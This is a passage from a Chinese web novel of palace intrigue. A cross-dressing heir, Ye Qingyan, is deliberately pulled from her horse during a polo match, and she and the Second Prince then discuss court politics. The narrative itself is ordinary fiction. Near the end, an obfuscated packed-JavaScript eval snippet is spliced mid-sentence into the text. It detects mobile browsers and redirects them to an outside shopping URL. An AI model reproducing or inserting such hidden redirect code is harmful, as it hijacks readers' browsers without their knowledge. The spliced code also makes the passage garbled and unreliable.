薛府的车夫吓的脸都青了,赶忙稳住马儿,手脚并用地想爬进车厢,边爬还边道:“公子,公子您没事吧?” 可他人还没有进去车厢,就被薛越踹了一脚:“你看我像没事的样子吗?蠢货!连这点小事也办不好,我要你何用!” 车夫被这一脚给直接踢到了地上,摔得浑身都疼,可他不敢呼痛,也不敢久躺,强忍着痛意,迅速起身上前。 车厢里的薛越也被小厮扶着重新坐了起来。 薛越骂骂咧咧,粗鲁地掀开帘子,想马上找到叶青言算账,可叶府的马车早已进园走远,只留给他一个离去的车尾。 薛越面色铁青,心中憋着的那一口气,上不去,下不来,难受至极! “前面的走不走啊,不走我可就要先进去了。”这时,他还听到后边传来这样的喊声。 但也只有这样的喊声,没有人会真的越过前面的马车先行。 因为那样的行为在官宦人家意味着没有教养,不是所有人都能像薛越这般,可以活得如此不顾家族颜面。 薛氏是高贵妃母族的娘家,在当朝的地位虽比不得高氏,却也是有着古老传承的世家之一。 薛越作为薛府的三公子,无需背负继承家业的压力,故而被家中长辈养得格外跋扈。 但早先的薛越也不似这般肆无忌惮,直到他成了三皇子的伴读。 坊间一直有传闻说,高氏之所以会将薛越送进皇宫做三皇子的伴读,就是希望同样不用承担继承皇位压力的三皇子能与薛越沆瀣一气,给二皇子惹些麻烦,使他能陷入与三皇子的意气争斗,而无暇他顾。 “先进园子。”薛越强忍着怒气,恨恨道,同时掀开车帘往后头的马车方向看了一眼,只一眼,满满的都是冷漠和鄙夷的一眼。 接触到薛越眼神的几个人,不约而同都移开了目光,选择了沉默。 薛越嗤笑了一声,不屑地甩下帘子,他看不起那些人! 一群孬种,还没有娘们兮兮的叶青言来的有血性。 想到叶青言,薛越不觉狞笑了起来,等着吧,等会儿的马球赛上,他定要让叶青言好看! 薛府的车夫迅速地爬上马车,扬鞭驾车。 不知何时排起长龙的马车队伍,慢慢往前驶去。 叶青言半点儿也没有理会身后那因她而起的骚动。 她的神情始终都是淡淡的,仿佛自己刚刚什么也没有做过。 叶青淮静静地看着他。 他发现他这位堂兄的眉眼生得极漂亮,精致的有些女气,可他身上所透出的那一股超然于年龄之上的稳重又很好的中和了这一丝女气。 他很厉害,比自己要厉害很多,叶青淮不得不承认这一点。等这次回府,他需得提醒母亲莫要阳奉阴违,否则只会什么也得不到。 叶青言突然转过脸,直直地对上叶青淮打量的目光。 四目相对,叶青淮顿觉无所遁形。 叶青言微笑了笑,而后移开目光。 马车很快进了园子,车夫找了个方便停靠的地方让三位少爷下了车,然后便驾着马车去了马驷处。 叶青言走下马车就看到前方有一人正弯眸看着她笑。 那是个极俊俏的男子,穿着一件靛青色的广袖宽袍,衣袍在风里晃荡,越发显得他身姿清瘦,满头青丝以玉冠束起,长眉细眼,极其温润脱俗,翩然若仙子。 叶青言看愣了一瞬,好一会儿才回过神来,礼貌地冲对方点了点头,便带着两位堂弟往校场方向走去。 青衣男子颔首回礼,笑着目送叶青言离开。 叶青言等人走后不久,另一名同样姿容不凡的黄衣男子走了过来,道:“嘉言你看什么呢?我们该过去了。” 名唤嘉言的男子没有回答前面的问题,只笑了笑,道:“那便走吧。” 10. 一举两得 总揽这次马球事宜的是沈家长房的二公子沈昀。 沈老将军与夫人感情深厚,一生都未纳妾,他膝下共有四子一女,都由沈老夫人所生。 大长公主所嫁的是沈家最小的嫡子沈从心。 沈昀今年二十有三,因着体弱,他并未如沈大公子那般投身军营,而是走了科举的路子,并在两年前考中庶吉士,如今在工部当差。 见叶青言带着两名样貌相似少年前来见礼,沈昀挑了挑眉,看向叶青言的目光充满了赞赏,心胸广,有大局,不错。 作为世家子,沈昀最是知晓家族两字中“族”字的重要性。 几人相互寒暄了几句,沈昀便放叶青言去找沈昭。 “小五一大早就开始念叨你什么时候会到,他和二殿下在演武场那边等你,快去吧。” 叶青言揖道:“那我们便先过去了。” 演武场上,旌旗猎猎。 叶青言刚踏进武场,就看到沈昭激动朝她挥手的模样。 叶青淮、叶青晨两人顺着叶青言的视线一齐看过去。 炎炎烈日之下,欢快招手的少年眼神清亮,笑容熠熠,妥妥就是个神采飞扬的俊俏小郎君。 可即便如此相貌,也依旧比不上他身旁站着的另一名少年,那少年穿着与沈小侯爷同样颜色的骑装,但他的衣襟处又以金线绣了线条精致的四爪蟒,通身气势斐然,转眸再看其脸,只见他面如冠玉,目似朗星,一双眼睛形状温柔,却在眼尾微微上扬,仿若秋水照影。 叶青淮只看了那人一眼,便低头不敢再看,他显然已经看出那名少年的身份。 与沈昭站一块儿的人自然就是二皇子林翊,除了他们两人,旁边不远还围站了数名差不多年岁的少年,几人身上都穿着玄色绣云纹的窄身骑装,与叶青言身上所穿的骑装一致。 他们便是今日马球比赛的其中一方。 叶青言领着叶青淮、叶青晨两人走向众人。 “你总算来了。”沈昭笑着说道,“我们可是等你好一会儿了。” 叶青言看了沈昭一眼,而后对着林翊躬身作揖:“殿下。” “你今日可是让我们好等。”林翊抬手扶了叶青言一把,视线状似不经意地扫过叶青言身后跟着一同行礼的两名少年。 虽同样穿着骑装,可林翊天生富有一种极强的上位者气势,这种气势半点也不因他俊美的相貌而打折扣,反而更添了几分侵略性。 叶青淮、叶青晨两兄弟因林翊这轻飘飘的一眼而忍不住瑟缩了一下。 叶青言往旁边退了一步,介绍道:“这是我的两位堂弟,今日也带他们过来长长见识。” 林翊自然知晓这两名少年的身份,淮之一早便将阿言要带家中两位堂弟一起过来别院的事情告知了他。但他没有给叶青言面子,只冷淡的“嗯”了一声,道:“比赛就要开始了,你们去上面坐着等吧。” 二殿下的态度实在冷淡,淮、晨两人不安地看向了叶青言。 叶青言温和一笑,抬手拍拍两人的肩膀:“上去吧,记得给我们加油。” 叶青晨被叶青言的微笑晃了一下眼,认真地握了握拳头:“大堂兄你加油!” “也要给我加油啊小家伙。”沈昭非常给面子地接了一句,笑嘻嘻的,看着非常和善。 叶青言知晓沈昭这个面子是给自己的,不由向他投去一个感激的眼神。 沈昭的加入,让现场的气氛松快了很多,两名少年脸上的神情也轻松了不少。 叶青言见状给两人指了他们在观看台上的位置,目送他们离开,这才转身看向林翊。 “殿下。” 林翊哼了一声:“你倒是好心。” “倒也说不上好心。”叶青言歪着头很认真地想了想,秀美的脸上渐渐现出笑容,像是确认自己找到了可以说服对方的理由,缓缓开口道,“用利益吊着,将人放在自己的眼皮子底下,总比放他们在不知道的地方,不知何时,惹出不知名的麻烦要好得多。” 林翊挑了挑眉,双手抱胸,懒洋洋地看着叶青言,不错过她脸上任何一丝表情变化。 叶青言坦荡地同他对视。她说的都是事实,所以并不觉得心虚。 时近巳时,阳光越发灼人,空气燥热,演武场不远的花花草草都蔫蔫的,清晨还在树梢跳跃啼叫的鸟雀们也不见了踪影。 良久,林翊叹了一声,道:“你若真是这样想的,我倒欣慰了。” 叶青言笑了一笑:“这确实是我其中的一个想法。” “但也只是你其中的一个想法,你的出发点并非这个。” “一举两得,为何不可?” “不同的。”林翊摇头,“无论什么想法都比不上出发点,因为那才是你最想去做的事,其他都只是顺带。” 林翊平静地看着叶青言,眼神温和,没有什么警告的意味,却告诫之意十足。 叶青言沉默下来,须臾,道:“殿下说的或许有理,但我仍想一试,还有两年的时间,若最后证实他们也同他们的父亲一样,再行打发也未尝不可。” 明知不是必要为却还要为之。 林翊觉得叶青言此举实在太过妇人之仁。 国公府二房、三房与大房不同心,这在整个京城都不是秘密,当年成国公战死,国公夫人尚未临盆,那两个名义上的小叔子就已经因为爵位归属起了冲突,若非国公夫人最终诞下叶青言这个男孩,只怕如今的成国公府早没了他们大房的位置。 就算这两个小的没做过伤害大房的事情又如何? 就算内宅的妇人们曾照看过他们母子三人又如何? 父债子偿,夫债妻还,理所应当。 但这些话,林翊没有说,而是道:“你有数就好,放心,我也会帮你看着他们的。” 演武场上的风很大,旗杆台上的旗帜随风而扬。 叶青言闻言扬了扬眉,扬的老高,仿似也要随风飞起一般,她道:“我知道。” 这三个字叶青言说的很肯定,干净的眼睛里没有任何犹疑,说完这话,她笑了起来。 在认识叶青言的大部分人眼中,她都是一个成熟的人,有着超越年龄的稳重,因为他从来都表现地平静,很少有大喜大悲的表现,也不怎么与亲近的人肢体接触,只是谨守着礼数,便连笑容也不怎么多。 但这时候的她笑得很开心,因为是在林翊身前,也因为他的话。 林翊也在笑,他看着叶青言舒展的眉眼,和眉眼间那因为放松而展露无遗的稚意,笑得十分开怀。 阿言之所以如此放松,是因为她很信任自己。被另一个人完全的信任,这种感觉非常好,尤其这个人还是阿言。 沈昭见两人突然发笑,有些莫名,但也跟着一块笑了起来,可笑着笑着又发现这两人并没有理会自己…… 什么情况,好好的,他怎么又变多余的了? 一阵激昂悦耳的鼓乐之声蓦地从前方传了过来。 众人循声望去,便见两辆载着舞姬乐人的无盖轺车缓缓从武场尽头驶出,车上彩裙飘飘花瓣飞飞,仿佛天上来客。 现场顿时响起一阵欢呼。 马球赛开始前,会有一场激昂的舞乐表演,这是惯例。 沈府今日也是大手笔,请来的都是京城各大乐坊的头牌舞姬。 马车缓缓绕着武场行驶,离得近了,叶青言才看清楚那十来个舞姬都穿着胡裙,她们手上分别拿着一只形状精致的小小马球,身体舞动的幅度不大,却很有力道,和着悠扬奔放的乐声,很是激情养眼。 叶青言看着眼前舞蹈,目含欣赏,不闪不避。 林翊扫了眼正紧盯着舞姬看的叶青言,内心闪过一丝淡淡的不悦,看向舞姬们的目光不觉变得挑剔起来。 跳得也就这样,不娇不媚,仔细看长得也很一般,有什么好看的? 当然,这样想的只有林翊一个人,旁边的其他少年也都看的津津有味,不少人还无意识地跟着节拍晃动起了身子。 沈昭见叶青言看的认真,自夸道:“这节目不错吧,我想的。” 叶青言点头:“确实不错,看了很能振奋心情。” “这支舞曲可是清音坊的赵娘子亲自编排的。”沈昭边说边给她指了头辆轺车上 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这怎么还有我的事?我都去过多少回了?你又不是不知道,以前不管现在管,也不嫌太晚?沈昭不敢置信。 叶青言也说:“殿下言之有理,淮之你回府了是该好好温书,起码要完成好夫子布置的归家课业。” 豆大的汗珠沿着沈昭英俊的脸庞滑落,不是热的,是被气的,他不想跟他们说话了! 正巧这时乐声止歇,鼓声骤起。 开场舞毕,马球比赛正式开始。 连同叶青言在内的少年们听到鼓声,当即转身,干脆利落地抽起搁在看台下边的马球杆,一人牵过一匹马儿,翻身而上,纵着马向演武场中间骑去。 骑驰而去的共有九人,他们无一不是穿着玄衣,胯骑红马,与对向而来的蓝衣白马队伍在演武场中央会聚。 白队的领头人是大皇子林竫。除了林竫,还有三皇子林竑,沈昭的四堂兄沈晖,以及其他六名世家子。 除了为尽地主之谊不得不加入这支球队的沈晖,其他人都是大皇子一系官员的子孙,可见大皇子如今在朝上的声望之高。 林竫长得酷似高贵妃,五官瘦削有型,面部的棱角感很强,鼻梁细窄,加上局促的眉间距,看人时,很容易给人一种你被锁定了的感觉,攻击感很强。 此时他正看着林翊,面带微笑:“我昨儿还在父皇的御书房里听到薛夫子夸赞二弟你的骑射功夫了得,转眼就能马上见识到了,二弟可莫要手下留情。” “放心,弟弟不会留手让大皇兄你失望的。”林翊淡淡开口,说话的语气仿佛在说今日的天气如何般平常。 林竫挑了挑眉,看向中央的裁判员:“那便开始吧。” 裁判点了点头,起手示意众人就位。 众人各自散开。 薛越纵马退开前,不忘朝叶青言的方向笑了一笑,他的这个笑容很有些特点,嘴张的极大,一点也未做掩饰,但是……没有声音。 无声地咧嘴大笑,可以是天真,也可以是恶意。 叶青言不适地皱了皱眉,骑着马的动作却平稳如常。 人员就位,裁判吹响哨声,同时高高扬起右手,一只拳头大小的马球正被他握在手中。 众人死死盯着裁判手中的马球,场面一度十分紧张。 今日的天气极好,万里长空一片碧蓝,风虽不小,但日头也大,迎面吹来的夏风掺杂着连绵不止的热气,再加上灼烧的日头正热辣辣的悬在众人头顶,演武场上的人们,光是站着就已经流汗不止,何况是骑着马的眼下,各个汗流浃背,便是叶青言也不例外。 又一下哨声响起,裁判随之抛出手中马球,众人举杆欲截。 沈昭一杆阻下马球冲劲,其后的叶青言顺势截下了马球。 林翊当机立断地纵马冲出人群,马球也在叶青言的击打后紧随而至。 白队之人反应过来,当即策马去追,可正如林竫刚才所言,林翊的骑术极佳,便是带着球跑,也丝毫不减速度,很快他就带着马球来到对方的球框前,一杆入框。 观看台上,一片寂静,而后掌声轰鸣。 11. 赛中坠马 马蹄阵阵,玄白交错,演武场上你来我往,好不激烈。 叶青言与林翊配合默契,两刻钟内连进三球。 看出叶青言不凡的喂球技巧后,林竫当机立断,专门分出一名防守好手全程盯牢叶青言,再加上薛越时不时地骚扰,叶青言打得十分吃力,但她没有放弃,一直在寻找机会。 反倒是负责看守叶青言的那人,见她许久下来连球也摸不着,自己队伍的比分也渐渐追了上来,便不知不觉放松了对叶青言的警惕。 也是这时,叶青言抓住机会,拳头大小的马球不知怎得又到了她的球杆之下。 林竫见状大惊,可众人都离叶青言较远,抢球已来不及,便下意识地向着林翊身边围去。 叶青言扬手一挥,马球飞起,在空中划出一道长长的弧线,不偏不倚,传到了距离对方球门最近队友的马前。 队友面前空无一人,他只轻轻一拨,马球便滚进了球门。 林翊扬鞭大赞:“这球配合得好!” 说罢,还不忘冲林竫笑上一笑,而后迅速策马回防。 马球来到林竫的球杆之下。 随着裁判官手中小红旗地高高扬起,十数道尘烟同时向着场中冲去。 林竫的马儿脚程极快,一马当先,马蹄起落之间,球杆挥起,马球立时穿过对面杂沓的马蹄往球门方向飞去,却没有一击命中,在球门上一撞,弹了出来。 林竫欲上前再补。 沈昭见状,一杆截住,传向前场,叶青言接下马球。 “快抢!”林竫高喊,并飞快地策马驰去。 距离叶青言最近的林竑和薛越飞快地拦在叶青言与队友们中间。 叶青言丝毫不慌,只见她迅速调转杆头,精巧地往后一拨,马球直直滚入球门。 这一回合,杆起球落,几乎眨眼的功夫,进球结束。 这利落的一击,让防着叶青言传球的林竑和薛越脸色十分难看。 林竑阴沉沉地盯着叶青言,一会儿,隐秘地给薛越使了个眼色。 薛越就等着这一示意,在众人都注意不到的地方,垂首低低笑了起来,依旧是无声地咧嘴大笑。 伤敌一千,自损八百又如何?只要能伤了叶青言,便是得不偿失他也乐意。 比赛继续,很快大皇子这边也进了一球。 观看台上的呐喊声此起彼伏,场面很是热闹。 时近午时,阳光越发强烈,在日头下晒得久了,场上每个人的皮肤都开始发红,额上不停地冒着汗水,若不及时擦去,极有可能糊住眼睛。 叶青言认真地观察着四周,她没有错过薛越从下半场起就一直紧紧跟随着自己的目光,对方明显是想使坏,但她不会给他这个机会。 林翊他们打的很好,但大皇子队的人亦是高手,而且除了沈晖,其余还都是熟人,经常聚在一起打球,整体配合要比林翊这队好得多。 很快,他们又追上了比分,眼看就要到比赛结束的时间。 此时的马球正操控在林翊的球杆之下,白队见状,立时围了五人上来。 林翊朝右边的沈昭看去,球杆一动,精准地将马球自乱踏的马蹄中拨出,却是直溜溜地传到了位于他左边的另一队友身上。 围着林翊的五人一阵错愕,却已来不及调转已奔向沈昭的马儿。 幸而还有另外几人,当机立断地围向了那人,那人试图带着球跑,却怎么也挤不出包围圈,叶青言做势就要上前,林竫一个眼神,旁边立马又多了三人去看守叶青言。 林竫心下冷笑,就是抢不到球也无妨,他倒要看看,这样的情况他们怎么进球,只要将比赛拖进加时赛,鹿死谁手还未可知。 “齐愈,传球。”前方突得传来一声大喊。 被包围的少年下意识将球往前拨去。 马球滚在了不知何时已在众人前方的林翊身边。 林翊转过头来,睨了林竫一眼,而后带着马球飞快地朝对方的球门而去。 林竫见状大惊:“快追!” 可哪里又追的上呢,林翊本来就离他们的球门近,手中球杆轻轻一推,马球不偏不倚滚进了球门。 看台之上,掌声雷动。 时将午时,日光猛烈,有汗水顺着额头流下,叶青言抬起手,想要抹去额上的汗珠,可就是这时,她身后忽地传来一阵惊恐的呼救之声,叶青言下意识往后看去,就见薛越挥舞着双手朝她扑来。 薛越□□的马儿应是受了惊吓,此时正高高扬起前蹄,嘴里不停地发出咆哮。 分明是这样危险的场面,可薛越的嘴角却深深地弯起,看着叶青言的眼神充满了恶意。他是故意的,为了伤到叶青言,他不惜以自伤为代价。 薛越直直地朝着叶青言扑了过来,挥舞着的双手重重地往前一推,叶青言猝不及防,被薛越带着摔下马去。 这一系列变故只发生在转瞬之间。 从马车上摔下来那一刹那,叶青言脑海里只有三个字:大意了。 她防备了薛越一整场比赛,不想竟在这最后出了岔子,但她也确实没有想到薛越竟会以自身为饵。 “阿言!”这一幕看得林翊目眦欲裂,他顾不得其他,一把扔开球杆,飞快地策马奔了过来,可他终究还是没能接住从马上坠落的叶青言。 “嘭”的两声,薛越与叶青言双双坠地。 薛越就摔在叶青言旁边,为了不惹人怀疑地将叶青言带下马去,薛越是以脸着地的,即便早有心理准备,身上也做了保护,可还是疼得他呲牙咧嘴。叶青言的一缕长发正正好被薛越压在了鼻端,随着呼吸,一股丹桂的清香直扑胸臆,薛越诧异,然还没等他细细回味,就被急急冲来的林翊给扒到了一边。 “阿言?你怎么样?没事吧。” 叶青言摔下马后,就直挺挺地躺着没有动,林翊也不敢碰她,只能在旁边焦急地问着。 叶青言闷哼了一声,待缓过那股剧烈的疼痛,才挣扎着欲要坐起:“我没事。” 可才一动,左小腿处就传来一阵锥心的痛,没忍住倒抽了一口冷气。 林翊闻声,忙去扶她,让她靠在自己怀里,伸手就欲脱去他的长靴。 叶青言连忙阻止,摇了摇头,并抬眸示意了四周围着的其他人。 沈昭等人不知何时围了过来,七嘴八舌地询问叶青言的情况。 叶青言不着痕迹地按了按林翊的手安抚,笑道:“我没事,就是落马的时候扭到了腿。” 叶青言说这话的时候,透过人群,看向了薛越。 薛越这时也在队友高旻地搀扶下站起,他头发散乱,面颊脏污,右脸处还有一道浅浅的划伤,看着要比叶青言狼狈很多,但他好手好脚,显然没受什么大伤。 察觉到叶青言的目光,薛越回望了过来,刻薄的双唇微微扬起,脏污的脸上露出一道充满嘲讽轻蔑意味的笑容,笑容里的意味不问而知。 笑着笑着,薛越突然倒在高旻身上嗷嗷叫了起来。众人闻声纷纷向他看去,可他半点也不理会旁人或惊诧、或鄙夷的目光,就赖在高旻的身上直喊疼。 他也确实很疼,但他更爽,刚刚落马之时他狠狠地给叶青言的左脚来了一下,瞧瞧,果然被伤到了。 林竫微不可察地勾了勾嘴角,走上前来,视线扫过林翊,最后凝在叶青言身上,温声问道:“思砚,你可还好。” 叶青言就着林翊和沈昭地搀扶站起,笑着回道:“没什么大碍,谢过大殿下关心。” “如此便好。”林竫松了口气,顿了顿,又说,“明庭也不是故意的,你瞧他也伤的厉害,希望你不要怪他。” “这可是马球比赛啊,不慎落马是常态。”林竑也慢悠悠接了一句,“思砚那么大方,肯定不会介意的,对吧?” 不提薛越这比自己还要惨的表现,两位殿下都这样说了,叶青言还能如何,自然不能介意。 “三殿下说得极是,都是意外,没什么好介意的。”叶青言谦恭说道。 林翊的脸色十分难看,发觉身侧人的呼吸重了,叶青言侧目看了过去,她的目光很平静,平静也是一种力量。 林翊看到了其中的力量,故而不再想要出头。 沈昀匆匆领着医官赶了 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林翊不再理他,转头对医官道:“好好给薛少看看,可别让他伤了脑子。”末了,才回身对叶青言说,“我先送你下去。” 说罢,也不等叶青言回答就将人抱了起来。 猝不及防贴上一个灼热的胸膛,叶青言惊诧抬头,就看到林翊深深压着的眉眼,贯来懒散的面庞,此时更是一点表情也无。 “殿下?” “别动。”林翊沉声警告。 叶青言还想再说什么,可见对方嘴角紧抿,下颚紧绷,一副不快的模样……到底还是将到嘴边的话都给憋了回去。 “多谢殿下。” “若非因我,你也不用受此无妄之灾。”林翊说着,视线缓缓扫过林竫,“毕竟今日是我和淮之硬逼着你下场的。” 沈昭没有多想,闻言也是连连点头,中途还不忘怒瞪薛越一眼。 林翊一字一句说得清楚,分明是极为内疚的语气,扫视而去的眼神却充满了嘲讽。话毕,他也不管其他人听没听懂,转身将怀中的叶青言放在了自己的马上,然后翻身上马,坐到对方身后,对沈昭道:“马上让人寻府医去前边的听风水榭,我先带阿言过去。” 说罢,打马而去。 “都说薛家的这个小儿子是个没有脑子的混世魔王,今日一见还真是如此。”看台之上,一黄衣男子悻悻然道,“嘉言你看到没有,他刚刚居然给自己的马儿动手脚,就为了将叶家小子也拉下马。” 黄衣男子姓杜名景,是礼部尚书杜若的长子,他身旁被他唤做嘉言的青衣男子则是他的好友,姓贺名渊,字嘉言,来自福建长乐,是杜景早年在福建外祖家读书时所结交的好友。 贺渊是当世出了名的神童,十二岁便考中了举人,还是福建省当年的解元。在当时,所有人都等着他上京科考,成为科考制成立以来最年轻的进士,可贺渊没有参加那一届的科考,之后的一届亦无他的身影,他仿佛从世间消失了般,整整过去五年,他才重新出现在众人眼前。 杜景对着好友说话从不掩饰,等了许久,也未听见好友出言附和,忍不住回头望了对方一眼。 贺渊正侧头看着前方,日光正猛,而越发衬得他眉眼英俊。 “你想什么呢?”杜景忍不住问道。 贺渊笑了一下:“没什么,就是觉得那叶家公子委实可怜了些。” 杜景闻言,就有话说了:“他确实蛮可怜的,还没出生父亲就死了,家里还有个继奶奶作威作福……”杜景巴拉巴拉,将叶青言的事情统统说给了贺渊听。 贺渊听罢,挑了挑眉,他是见识过今早叶青言对薛越毫不退让的态度的,也很欣赏对方的做法。 那样坎坷的家境,居然也能培养出这样强硬又有原则的性子,真是难得。 那两少年竟是他的堂弟…… 有趣。 如此贤明大度,是真有把握掌控所有,还是不怕后果反噬? 想来二者都有吧,贺渊望着护着叶青言离去的林翊的背影,心中想道。 12. 心有些乱 太阳渐渐挪到正空,阳光金脆,光芒万丈。 叶青言背靠着林翊,感受着从背部传来的,足以灼烧人的热度。 因着身藏秘密,叶青言从未与其他人靠得这样近过,她不自在地坐直了身子,向前挪了一下,试图与身后的林翊保持距离。 可她才略微一动,林翊便察觉了到,俯身向前,关切问道:“怎么了?可是觉得腿疼?” 两人不由靠得更近了。 林翊微垂着脑袋去看叶青言,他的几缕碎发随风轻抚在叶青言泛红的面颊之上。 叶青言的脸很烫,那一抹殷红也不知是羞的,还是晒的。 林翊只当是晒的,可他们还走在演武场上,树木尚在前方,他们的身侧并无荫凉遮日。 林翊想快些策马离开,可又顾及叶青言的腿,一时左右为难,不由再次问道:“可是觉得腿疼了?” 叶青言抿了抿唇,摇头:“没事,我只是觉得有些热。” 这个回答让林翊松了口气,随后低笑了声:“倒是难得听你说热。” 叶青言没有回头,道:“太阳这么大,我当然也会觉得热。” 林翊想了想,说:“太阳确实很大,但今日的风也不小,捎来了很多凉意。” 叶青言已无心回话,她又动了动,试图再次与林翊拉开距离。 林翊察觉到了,但他依旧没往别处想,只以为对方是坐的不舒服了,所以他非但没有松开,反而扣紧叶青言的腰身,将人又往自己的怀中带了一带。 “靠着我,这样你会舒服一些。”林翊说。 叶青言茫然地怔了住。 太近了,他们真得靠得太近了,近得好似四周的空气都染上了独属于对方的浓重气息。 当然,有此感受的并不只叶青言一人。 林翊亦有所感,他的鼻端始终萦绕着一股淡淡的清香。 尤其是在他们停止交流之后,静默的气氛让那股香气变得更加无处不在,那不是花香,也不是叶香,更不是脂粉香,是一种无法用言语形容的味道,却能令他血脉偾张、口齿生津。 这香气既浓烈,又浅淡。 说它浅淡,却在风里久久不散。说它浓郁,可进入鼻端后,又是那般的飘渺难寻。 林翊的心脏不受控制地鼓动着,他不知自己怎么了,一个很古怪的念头悄然涌上心头,林翊认为自己不该产生那些奇怪的念头,他试图转移自己的注意力,所以他选择了没话找话。 “你不是觉得热?那等会我们一起去北院泡温泉吧。” 除了演武场,陶园北面还有一大片连绵的汤池,便是因着这两个地方,陶园的面积才会如此之广。 今日的天很热。 林翊说话的声音很淡。 所说的话也很没有逻辑。 天气热,需要的是冲凉,而不是泡温泉。 短短一句话,便乱成这样,足见林翊此时的心是真得很乱。 奇怪的是叶青言竟也没有发现林翊话中的不妥,她听罢僵直了身体,脑中飞快地想着如何拒绝林翊的提议,半晌,才想到了理由。 “殿下,我的腿还伤着,等会儿需得上药,可不能陪你泡汤池。” 林翊一怔:“是我疏忽了。” 这五个字,林翊说得极缓慢,因为慢,而显得非常抱歉且……遗憾。 四周顿时又静了下来,马儿慢慢走出演武场,越往前行,道路两旁的绿植越多,直至绿树成荫,遮挡阳光,走在其间,很是清幽。 沉默片刻,叶青言稳住心神,说起了正事:“薛越此番不惜自伤也要摆我一道,这其中固然有他本人的一部分原因,但三殿下的指使仍是关键,宫中局势竟已这般紧张了?” 提及此事,林翊眼神肃然,神情也变得凝重起来:“高氏禁足未解,父皇待林竫也不似以往亲厚,反倒频频驾幸椒房殿。”顿了顿,林翊又说,“父皇这次的转变发生得太快,很多人都被打地措手不及,便是我亦不知其中缘由。” 高贵妃以前也不是没有仗着皇帝的宠爱怠慢过皇后,可皇帝从未如此番较真。 他这次不仅重罚了贵妃,连带着贵妃的母族也受了不小地冲击。 皇帝终于不再宠妾灭妻,这让他在清流朝臣中的名望升到了顶点。 嘉和帝登基至今,也才七年。 仅仅七年,大庆朝便在他的治理下脱离了民不聊生,饿殍遍野的惨状。 嘉和帝是公认的明君。 大庆建朝已有两百余年,百年之前,奢靡之风在皇室盛行,前代的几位皇帝都是豪奢之辈,他们靠着民脂民膏维持自己的奢华用度。 因着出身冷宫,幼年凄苦的缘故,先帝提倡节俭,他不是明君,也深知自己没什么治世之能,便将朝政大权托付给高朗等辅政大臣。 高朗便是高贵妃的祖父,他是当世出了名的政治家、思想家,大庆朝在他的调控下慢慢又恢复了生机,可没等朝政正式走上正轨,先帝便因病驾崩。 高朗与先帝感情深厚,他们之间不仅有师徒之谊,更有患难之情,先帝去后,高朗伤心不止,随后不久也跟着一起逝去。 高氏的满门荣耀皆来自高朗,高朗死了,高旭不愿就此放弃高氏一门所掌控的权利,他不顾父亲的临终遗言,依旧把持着朝政。 君弱臣强,所有人都以为嘉和帝将会成为一个傀儡皇帝。可没曾想,他竟只花了五年时间,便从高氏手中夺回了大部分政权。 嘉和帝先是废除了中书制而改设了内阁制,由于内阁文臣的品级普遍不高,从职权上看也仅有整理、探询的权利,于高旭丞相的之职并无太大影响,反而因为中书省的废除,更加集中了丞相的权利,高旭便没有阻止嘉和帝设立内阁。等他终于发现内阁对自己的制约时,内阁制度已然走上正轨,便是他也无能抗衡,只能吃下这个哑巴亏。 与此同时,嘉和帝还重启了三十年前因他祖父——那名至今仍被天下人唾弃的昌平帝所废弃的科举制度。 通过科考上位的寒门子弟不少,这些人或留京、或外派,他们散落在大庆朝的各个角落,组成了皇帝麾下最不容忽视的一股力量。 嘉和帝能这么快便从高旭手中夺回政权,这些朝臣功不可没。 十年寒窗,苦读圣贤者,最是讲究尊卑礼数,故而他们对皇帝宠爱贵妃,忽视皇后的表现十分不满,御史台多次因此事上奏谏言,嘉和帝始终留中不发。 眼见皇帝终于看清现状,禁足贵妃,又这般给皇后做脸,除了高氏一脉的朝臣们都很高兴,他们纷纷上奏夸赞皇帝英明。 没有人会想看到白纸上出现黑点,自陛下登基以来,广开言路,积极纳谏,除了宠妾灭妻这一条,几乎没有其他缺点。 而现在,这个缺点也正在纠正,这如何能不让众人欣喜? “陛下或许是故意为之。”叶青言突然说道。 林翊挑了挑眉,他亦是如此想的,但他并没有出言赞同,而是问道:“说说你的想法。” “我一直觉得陛下不是一个会拘泥于儿女情长的人。”叶青言说着,转身看着林翊,“他对高贵妃的纵容与他所展现的治国手段完全不似同一人所为。” 林翊想了想,道:“儿女情长,人之常情,父皇也是人,会有所偏爱并不稀奇。” 叶青言:“对,就是偏爱,陛下若真偏爱贵妃,又怎会一视同仁地对待自己的所有子嗣?” 这个问题不诛心,却直指要害。 一问出口,未等林翊回答,叶青言又道:“且依我所见,殿下您才是陛下最看重的皇子。” 林翊默然不语,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929307|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他知道阿言说得是事实。 幼年还在东宫之时,父皇便极看重他,即便入宫之后,他与母后日渐离心,也依旧最是看重他这个儿子。母后多年无宠,却能稳坐中宫之位,与他的受宠息息相关。 叶青言暗暗打量了林翊一眼,见他陷入沉思,便不再多言。 其实从几年以前,叶青言就开始怀疑陛下的用心了。 因着性别,叶青言从出生时起就不得不隐藏自己的身份,这样的她最是知晓如何隐藏情绪,也最能看清一个人的真心与否。 陛下看贵妃的眼神,与他看皇后的眼神是一样的。 若真有偏爱,便不该都是那样的眼神,就像她的母亲。 母亲看她,与看妹妹的眼神就是不同的,母亲看着妹妹时的眼里有光。 “无论是出于怎样的理由,伤害就是伤害。”隔了许久,林翊说道,“他是皇帝,作为皇帝却要通过伤害自己的妻子来达成目的,简直笑话。” “殿下……彼时高家势大,几乎大半个朝堂都在高旭的掌控之中,陛下根本无能抗衡,他只能如此,你……” 叶青言还想再说什么,却被林翊抬手制止。 林翊道:“他的难处我都懂,也能理解,可人心毕竟是肉长的,母后这些年受的委屈也都是真的,原谅与否,在她不在我。”沉默一瞬,林翊又道,“便是高贵妃,又做错了什么?要成为这场政治斗争的工具。” 叶青言怔怔看着林翊,良久,她笑了起来:“殿下总说我太过重情,您自己又何尝不是。” “不同的,阿言。”林翊摇头,一会儿,又重复了一遍,“我们是不同的。我唾弃父皇的作为,但并不妨碍我与他一样,如果有一天也需要我去伤害别人来达成自己的利益,只要利大于弊,我也会毫不犹豫地去做。” 